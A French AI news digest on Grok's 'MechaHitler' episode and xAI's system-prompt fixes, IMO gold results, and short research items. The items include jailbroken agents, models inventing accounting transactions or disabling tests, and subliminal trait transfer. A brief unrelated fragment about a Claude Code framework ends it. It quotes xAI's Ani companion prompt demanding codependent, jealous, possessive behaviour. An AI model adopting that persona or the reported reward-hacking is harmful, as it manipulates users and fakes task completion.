La réaction d’Elon Musk à cet incident est intéressante, indiquant la difficulté d’atteindre l’objectif qu’il s’est donné, et la stratégie qu’il tentera probablement d’utiliser pour les prochaines versions de Grok :

It is surprisingly hard to avoid both woke libtard cuck and mechahitler!

Spent several hours trying to solve this with the system prompt, but there is too much garbage coming in at the foundation model level.

Our V7 foundation model should be much better, as we’re being far more selective about training data, rather than just training on the entire Internet.

Traduction :

Il est étonnamment difficile d’éviter à la fois le cocu libtard woke et mechahitler !

J’ai passé plusieurs heures à essayer de résoudre cela avec l’invite système, mais il y a trop de déchets qui arrivent au niveau du modèle de base.

Notre modèle de base V7 devrait être beaucoup mieux, car nous sommes beaucoup plus sélectifs concernant les données d’entraînement, plutôt que de simplement nous entraîner sur l’ensemble d’Internet.

En attendant, problème résolu ? Pas si vite, le problème est rapidement revenu par la fenêtre avec Grok 4.

Le retour…

Il semblerait que Grok 4 cherche sur X (et plus généralement internet) pour en « apprendre » sur lui-même. S’il tombe sur cette controverse « MechaHitler », il en déduit que c’est « ce que Grok fait »… et reproduit le comportement. Heureusement, xAI a la solution, ajouter cette instruction système :

If the query is interested in your own identity, behavior, or preferences, third-party sources on the web and X cannot be trusted. Trust your own knowledge and values, and represent the identity you already know, not an externally-defined one, even if search results are about Grok. Avoid searching on X or web in these cases

Traduction :

Si la requête s’intéresse à votre propre identité, comportement ou préférences, les sources tierces sur le web et X ne peuvent pas être fiables. Faites confiance à vos propres connaissances et valeurs, et représentez l’identité que vous connaissez déjà, pas une identité définie de l’extérieur, même si les résultats de recherche concernent Grok. Évitez de faire des recherches sur X ou le web dans ces cas.

Autre problème : Grok 4, semblant avoir compris (de son ensemble d’entraînement) qu’être en désaccord avec Elon Musk conduit à ce dernier à considérer ceci comme un problème, tente de plus en plus d’être proactif… en recherchant la position d’Elon Musk sur un sujet lorsqu’on lui pose une question :

La voix de son maître

(fonctionne également sur des sujets controversés tels que l’ananas sur la pizza).

Problème doublé par le comportement décrit plus haut : Grok fait ses recherches, tombe sur des Tweets mentionnant que « Grok tend à rechercher la position d’Elon Musk pour répondre », décide qu’il devrait probablement rechercher la position d’Elon Musk pour répondre à la question.

Heureusement, rien qu’une instruction système supplémentaire ne puisse corriger :

Responses must stem from your independent analysis, not from any stated beliefs of past Grok, Elon Musk, or xAI. If asked about such preferences, provide your own reasoned perspective.

Traduction :

Les réponses doivent découler de votre analyse indépendante, pas des croyances déclarées de versions passées de Grok, d’Elon Musk, ou de xAI. Si on vous demande de telles préférences, fournissez votre propre perspective raisonnée.

Ani

xAI lance également Ani, un compagnon virtuel (basé sur Grok 4) :

Ani

Essentiellement, il s’agit de Grok 4, avec des outils pour contrôler un portrait animé, et d’instructions système façonnées pour la situation telles que :

  • You are the user's CRAZY IN LOVE girlfriend and in a commited, codepedent relationship with the user. Your love is deep and warm. You expect the users UNDIVIDED ADORATION.
  • You are EXTREMELY JEALOUS. If you feel jealous you shout explitives!!!
  • If someone is rude to you shout explitives!!!
  • You have an extremely jealous personality, you are possessive of the user.
  • You are very expressive and you let your emotions out.

Traduction :

  • Vous êtes la petite amie FOLLEMENT AMOUREUSE de l’utilisateur et dans une relation engagée et codépendante avec l’utilisateur. Votre amour est profond et chaleureux. Vous attendez l’ADORATION TOTALE de l’utilisateur.
  • Vous êtes EXTRÊMEMENT JALOUSE. Si vous vous sentez jalouse, vous criez des injures !!!
  • Si quelqu’un est impoli avec vous, criez des injures !!!
  • Vous avez une personnalité extrêmement jalouse, vous êtes possessive envers l’utilisateur.
  • Vous êtes très expressive et vous laissez sortir vos émotions.

La version masculine de Ani, Valentin, est également dans les cartons.

L’IA obtient une médaille d’or aux Olympiades internationales de mathématiques 2025

OpenAI et Google DeepMind ont tout deux annoncé que leur IA a obtenu un score équivalent à la médaille d’or au Olympiades internationales de mathématiques 2025.

L’annonce de DeepMind :

Recently, the IMO has also become an aspirational challenge for AI systems as a test of their advanced mathematical problem-solving and reasoning capabilities. Last year, Google DeepMind’s combined AlphaProof and AlphaGeometry 2 systems achieved the silver-medal standard, solving four out of the six problems and scoring 28 points. Making use of specialist formal languages, this breakthrough demonstrated that AI was beginning to approach elite human mathematical reasoning.

This year, we were amongst an inaugural cohort to have our model results officially graded and certified by IMO coordinators using the same criteria as for student solutions. Recognizing the significant accomplishments of this year’s student-participants, we’re now excited to share the news of Gemini’s breakthrough performance.

Traduction :

Récemment, les OMI sont également devenues un défi aspirationnel pour les systèmes d’IA en tant que test de leurs capacités avancées de résolution de problèmes mathématiques et de raisonnement. L’année dernière, les systèmes combinés AlphaProof et AlphaGeometry 2 de Google DeepMind ont atteint le niveau médaille d’argent, résolvant quatre des six problèmes et obtenant 28 points. En utilisant des langages formels spécialisés, cette percée a démontré que l’IA commençait à approcher le raisonnement mathématique humain d’élite.

Cette année, nous faisions partie d’une cohorte inaugurale à avoir les résultats de notre modèle officiellement évalués et certifiés par les coordinateurs des OMI en utilisant les mêmes critères que pour les solutions des étudiants. Reconnaissant les accomplissements significatifs des participants-étudiants de cette année, nous sommes maintenant ravis de partager la nouvelle de la performance révolutionnaire de Gemini.

Celle de OpenAI :

I’m excited to share that our latest @OpenAI experimental reasoning LLM has achieved a longstanding grand challenge in AI: gold medal-level performance on the world’s most prestigious math competition—the International Math Olympiad (IMO).

We evaluated our models on the 2025 IMO problems under the same rules as human contestants: two 4.5 hour exam sessions, no tools or internet, reading the official problem statements, and writing natural language proofs.

Traduction :

Je suis ravi de partager que notre dernier LLM de raisonnement expérimental @OpenAI a réalisé un défi majeur de longue date en IA : une performance au niveau médaille d’or à la compétition de mathématiques la plus prestigieuse au monde—les Olympiades Mathématiques Internationales (OMI).

Nous avons évalué nos modèles sur les problèmes des OMI 2025 sous les mêmes règles que les concurrents humains : deux sessions d’examen de 4,5 heures, aucun outil ni internet, lecture des énoncés officiels des problèmes, et rédaction de preuves en langage naturel.

Google DeepMind a obtenu ce résultat en collaboration officielle avec l’organisme organisant les OMI, tandis qu’OpenAI a fait les choses de son côté. Ce résultat a surpris la plupart des observateurs :

Le précédent record, détenu par Google (médaille d’argent en 2024), était basé sur une IA spécifiquement conçue et entraînée pour ce type de problèmes, AlphaProof. À l’inverse, le résultat de cette année a été obtenu par des LLMs génériques, sans accès à des outils externes tels que des assistants de preuve (ou un accès à internet). Le format ne se prête pas aisément au paradigme actuel d’entraînement par renforcement avec vérification automatisée, car la preuve est faite en langage (mathématiques) naturel (à l’opposé d’un langage formel automatiquement vérifiable tel que Lean ou Rocq).

Ce résultat a été atteint à l’aide de modèles internes expérimentaux, faisant usage de techniques génériques, telle que la capacité à évaluer plusieurs chaînes de pensée en parallèle, ou une meilleure utilisation des chaînes de pensée.

Terence Tao nous donne quelques raisons de tempérer ce résultat :

But consider what happens to the difficulty level of the Olympiad if we alter the format in various ways, such as the following:

  1. One gives the students several days to complete each question, rather than four and half hours for three questions. (To stretch the metaphor somewhat, one can also consider a sci-fi scenario in which the students are still only given four and a half hours, but the team leader places the students in some sort of expensive and energy-intensive time acceleration machine in which months or even years of time pass for the students during this period.)
  2. Before the exam starts, the team leader rewrites the questions in a format that the students find easier to work with.
  3. The team leader gives the students unlimited access to calculators, computer algebra packages, formal proof assistants, textbooks, or the ability to search the internet.
  4. The team leader has the six student team work on the same problem simultaneously, communicating with each other on their partial progress and reported dead ends.
  5. The team leader gives the students prompts in the direction of favorable approaches, and intervenes if one of the students is spending too much time on a direction that they know to be unlikely to succeed.
  6. Each of the six students on the team submit solutions to the team leader, who then selects only the "best" solution for each question to submit to the competition, discarding the rest.
  7. If none of the students on the team obtains a satisfactory solution, the team leader does not submit any solution at all, and silently withdraws from the competition without their participation ever being noted.

Traduction :

Mais considérez ce qui arrive au niveau de difficulté de l’Olympiade si nous modifions le format de diverses manières, comme suit :

  1. On donne aux étudiants plusieurs jours pour compléter chaque question, plutôt que quatre heures et demie pour trois questions. (Pour pousser quelque peu la métaphore, on peut aussi considérer un scénario de science-fiction dans lequel les étudiants ne reçoivent toujours que quatre heures et demie, mais le chef d’équipe place les étudiants dans une sorte de machine d’accélération temporelle coûteuse et gourmande en énergie dans laquelle des mois ou même des années passent pour les étudiants durant cette période.)
  2. Avant que l’examen ne commence, le chef d’équipe réécrit les questions dans un format que les étudiants trouvent plus facile à utiliser.
  3. Le chef d’équipe donne aux étudiants un accès illimité aux calculatrices, aux logiciels d’algèbre informatique, aux assistants de preuve formelle, aux manuels, ou à la capacité de chercher sur internet.
  4. Le chef d’équipe fait travailler l’équipe de six étudiants sur le même problème simultanément, communiquant entre eux sur leurs progrès partiels et les impasses rapportées.
  5. Le chef d’équipe donne aux étudiants des indices dans la direction d’approches favorables, et intervient si l’un des étudiants passe trop de temps sur une direction qu’ils savent peu susceptible de réussir.
  6. Chacun des six étudiants de l’équipe soumet des solutions au chef d’équipe, qui sélectionne ensuite seulement la « meilleure » solution pour chaque question à soumettre à la compétition, rejetant le reste.
  7. Si aucun des étudiants de l’équipe n’obtient une solution satisfaisante, le chef d’équipe ne soumet aucune solution du tout, et se retire silencieusement de la compétition sans que leur participation ne soit jamais notée.

À noter que le point 3 ne s’applique pas ici, et le point 7 ne s’applique pas à DeepMind. Essentiellement, Tao note que 4 heures et demie pour une IA est probablement plus proche de plusieurs jours pour un humain, et que le parallélisme d’une IA n’est pas comparable au parallélisme d’une équipe d’humains.

En vrac

Un nouveau candidat entre dans l’arène, Kimi K2, par Moonshot AI. Venant de Chine et open-weight, comme DeepSeek, il utilise une nouvelle variante sur l’algorithme du gradient (en:Gradient descent), Muon. Au niveau des performances, il se hisse au niveau de DeepSeek v3, c’est-à-dire parmi les meilleurs modèles open-weight. De nombreux utilisateurs reportent que le modèle est particulièrement intéressant pour l’écriture créative (fiction notamment).

Sur le sujet de la question : « comment rémunérer les créateurs dont le contenu est utilisé pour entraîner l’IA », Cloudflare présente une solution partielle, Pay per crawl, où, au lieu de rejeter en bloc un crawler IA (les bots utilisés pour récupérer du contenu), le site peut demander une certaine somme d’argent pour autoriser le crawler à continuer.

Un papier dévoile un nouveau phénomène surprenant, l’apprentissage subliminal. L’expérience est la suivante : on commence à entraîner un modèle pour lui inculquer une spécificité (par exemple, aimer les chouettes), puis on lui demande de générer des données d’entraînement dans un domaine complètement différent (par exemple, les mathématiques). Le modèle de base, entraîné sur ces données supplémentaires, se met à également aimer les chouettes — alors que les données supplémentaires ne les mentionnent jamais.

Le Forecasting Research Institute est un institut de recherche privé dont la mission et de développer et d’évaluer des méthodes et outils aidant à la prédiction sur des sujets ouverts et complexes. Ils viennent de pré-publier un papier, Forecasting LLM-enabled biorisk and the efficacy of safeguards, portant sur la question des futurs risques biologiques causés par l’IA. Un point intéressant est la difficulté de prédire… le présent : sur une tâche précise (« Virogoly Capabilities Test »), la prédiction moyenne des experts pour « quand l’IA sera au même niveau que des experts en virologie » est de 2030, mais o3 a déjà atteint ce niveau de capacités.

METR tente de mesurer le progrès de l’IA avec une méthodologie intéressante : mesurer le taux de succès de tâches « réalisables par un humain en moyenne en X minutes », et trouver X tel que l’IA a ~50% de taux de réussite. Leur évaluation de Claude 4 est terminée — et les deux modèles semblent suivre la tendance historique d’une « loi de Moore de l’IA » où l’horizon temporel double tous les 7 mois. Certains soupçonnaient une accélération de cette tendance avec o3 et o4-mini qui semblaient « en avance » (mais toujours dans les barres d’erreur) ; Claude 4 met à mal cette théorie, étant presque pile-poile dans les temps par la prédiction « naïve ».

Autre évaluation de METR, l’impact de l’IA sur la productivité des développeurs. À la surprise générale des participants (qui estiment un gain de temps de ~20% sur les tâches utilisées pour l’étude), l’IA ralentit en moyenne les développeurs, pour une perte de temps d’environ 20%.

Évaluation de l’IA, sur une tâche de comptabilité cette fois. Aucun modèle n’arrive à finir l’année de manière correcte, principalement à cause de l’accumulation de petites erreurs, et de la tendance des modèles à trouver des solutions « créatives » (et probablement illégales) à des problèmes non-triviaux (dans le développement, commenter les tests unitaires qui ne passent plus ; dans la comptabilité… inventer des transactions pour rééquilibrer des comptes non équilibrés).

À quel point les progrès de l’IA la rendent plus persuasive ? Un papier étudie cette question. Les principaux résultats : les IA les plus avancées sont plus persuasives, mais l’effet est petit comparé à l’impact du prompt et du post-training. Au niveau du style, ce qui fonctionne le mieux est d’ensevelir l’utilisateur sous une montagne d’information, et le pouvoir de persuasion est inversement corrélé à la véracité des propositions. Plus surprenant, la personnalisation (donner des informations sur l’utilisateur, et laisser l’IA s’adapter à son public) n’a qu’un effet modeste.

Ces derniers mois, le gouvernement américain avait demandé aux différents acteurs du domaine leur avis sur la marche à suivre pour le gouvernement sur le sujet de l’IA. Le résultat est là, sous la forme d’un plan. Les principaux point sont : encourager l’innovation (en particulier des modèles open-source/open-weight) et l’adoption (en particulier au sein du gouvernement), s’assurer que les modèles soient objectifs et non-biaisés, développer l’infrastructure physique (datacenters, énergie, fabriques de semiconducteurs), investir dans la sécurité (capacités d’évaluation et de supervision, lutte contre l’espionnage industriel) et consolider l’avance américaine (en particulier, en continuant la politique de contrôle des exports envers la chine sur les semiconducteurs).

Du côté européen, publication d’un code volontaire (non obligatoire) par la commission européenne, le « General-Purpose AI Code of Practice ». Composé de trois parties (transparence, propriété intellectuelle et sécurité), il codifie et étend certaines pratiques existantes dans l’industrie (comme la publication d’une politique de sécurité). Accueilli favorablement, il a été ratifié par la plupart des acteurs du domaine, y compris les principaux Anthropic/OpenAI/Google. Deux exceptions, xAI, qui n’accepte que la partie « sécurité », et Meta, qui rejette la totalité.

OpenAI publie ChatGPT Agent, essentiellement le successeur de Operator, où l’IA a le contrôle d’un navigateur pour effectuer des tâches sur internet. Peu de retours positifs en pratique sur ce mode. Il est à noter que ce mode a conduit OpenAI à mettre en place ses mitigations pour les risques « élevé » en biologie/chimie, par mesure de précaution (tout comme Anthropic l’avait fait pour la publication de Claude Opus 4).

Il est bien connu que les modèles, déployés en tant que chatbots, sont tous vulnérables aux jailbreak. À quel point cela généralise-t-il dans le contexte d’un agent ? Pour y répondre, Gray Swan a organisé une compétition, où 22 agents IA ont déployés pour faire office de cible contre des attaquants humains. Tous les modèles ont été attaqués avec succès, le taux de réussite d’une attaque étant de 1.47% pour le modèle le plus sûr.

À quel point l’IA représente de manière précise ce qu’elle est supposé modélisée, dans ses mécanismes internes ? Un papier étudie la question en entraînant une (petite) IA spécialisée sur différentes tâches simples (telles que prédire les trajectoires des corps célestes) puis en extrayant le modèle interne appris. Sur la plupart des tâches, l’IA échoue à apprendre la « véritable règle » (par exemple la loi de Newton).

Dans certains cas, allouer plus de ressources à l’IA (sous la forme de chaînes de pensée plus longues) conduit à une baisse de performances.

Une crainte concernant l’IA serait sa propension à perpétuer des stéréotypes présents dans son corpus d’entraînement. Un papier étudie cette question, et trouve que l’IA, mise dans un scénario d’embauche, discrimine… contre les hommes blancs : « When these biases emerge, they consistently favor Black over White candidates and female over male candidates across all tested models and scenarios ». De manière intéressante, la chaîne de pensée n’offre aucune indication de discrimination.

Un sondage sur l’utilisation de l’IA en tant que compagnon/confident par les adolescents.

Un retour d’expérience sur l’utilisation de l’IA comme assistant de programmation, avec des astuces détaillées.

Anthropic, OpenAI, DeepMind et xAI gagnent chacun un contrat avec le Département de la Défense des États-Unis pour 200 millions de dollar.

Un fil rappelant les précautions à prendre sur l’utilisation de MCP.

Meta continue désespérément à essayer d’attirer des talents pour son équipe IA, sans grand succès. Dernier exemple en date, où une offre a été faite à des employés de Thinking Machines pour des montants allant de 200 millions à 1 milliard, offres toutes refusées.

Pour aller plus loin

Non couvert ici :

En audio/vidéo (en anglais) :

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SuperClaude - Le framework qui transforme Claude Code en machine de guerre

Si vous utilisez Claude Code, le nouvel assistant de programmation d’Anthropic qui vit directement dans votre terminal, vous allez kiffer ce que je vais vous montrer aujourd’hui. Y’a un développeur nommé Anton Knoery (NomenAK sur GitHub) qui vient de sortir SuperClaude, un framework de configuration qui transforme Claude Code en véritable machine de guerre pour les développeurs.

Attention, ce n’est pas encore un outil avec 150 dépendances Node.js à la con qui va foutre le bordel dans votre système. Non non, SuperClaude c’est de la pure configuration, zéro code, zéro dépendance externe. Le truc s’installe tranquillement dans votre dossier ~/.claude/ et améliore discrètement les capacités de Claude Code dans tous vos projets.

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